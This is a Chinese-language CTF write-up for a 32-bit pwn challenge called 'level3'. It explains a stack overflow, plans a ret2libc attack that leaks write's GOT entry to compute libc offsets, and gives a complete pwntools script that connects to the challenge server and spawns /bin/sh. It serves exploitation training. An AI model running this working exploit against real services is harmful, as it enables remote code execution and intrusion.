这道题把附件下载下来发现一个libc(动态链接库),那这道题估计需要利用libc来确定elf中函数的地址
国际惯例checksec,发现level3没开栈溢出保护和地址随机化,libc全开
拖入32位ida,没发现留后门和system函数,只有个write
main里面没啥东西,问题应该出在这个函数里面
果然,buf只能装136,read可以读0x100,200多应该,超出范围,存在栈溢出漏洞
那现在已经有点思路了,利用栈溢出漏洞通过main里的write函数打印出write函数在got表的地址,再与libc库中的write函数地址相减计算出elf中函数和libc中函数之间偏移量(无论地址怎么变化,elf中函数与在libc库中函数的偏移量总是相等的),再通过偏移量计算出内存中的system,/bin/sh的地址,再一次利用栈溢出漏洞即可
可以写脚本了,建议先打通本地后再远程,以后实战也是这样,注释写脚本里面了,有问题丢评论
from pwn import *
#sh = process('./level3')
sh = remote('61.147.171.105',58100)
elf_level3 = ELF('./level3')
elf_libc = ELF('./libc_32.so.6')
plt_write = elf_level3.plt['write'] #level3的plt表地址
got_write = elf_level3.got['write'] #获取的是指向got表中'write'函数偏移量的指针,而不是函数的实际地址
addr_main = elf_level3.symbols['main'] #符号表找main函数地址
#利用栈溢出和plt调用write函数,因为还需要使用write函数打印出write函数的got表地址,所以把main函数作为它的返回地址,p(1)是write函数第一个参数,代表写;p32(got_write)第二个参数,代表要打印的字符串;p32(4)一次打印四个字节:因为是32位(32个二进制位),一个字节=8个二进制位,所以4
payload = b'a'*(0x88+0x4) + p32(plt_write) + p32(addr_main) + p32(1) + p32(got_write) + p32(4)
sh.sendlineafter("Input:\n",payload)
write_got = u32(sh.recv(4)) #接收暴露出的got表地址并且使用u32解码成整数,这里限定接收四个字节,不然容易出错
#计算level3和libc库中write函数地址的偏移量
write_offset = write_got - elf_libc.symbols['write']
#level3中system函数真正地址,无论elf是否开启地址随机化,libc库与elf中函数偏移量始终是相等的
system_level3 = write_offset + elf_libc.symbols['system']
#level3中/bin/sh默认shell真正地址,因为/bin/sh不是一个函数不能用符号表查找,直接利用Linux下的strings函数结合管道符找到它的地址
shell_level3 = write_offset + 0x15902b
#再次利用栈溢出返回system函数,随便用0作它的返回地址,再将/bin/sh当做system参数即可getshell
payload_2 = b'a'*(0x88+0x4) + p32(system_level3) + p32(0) + p32(shell_level3)
sh.sendlineafter("Input:\n",payload_2)
sh.interactive()
打通远程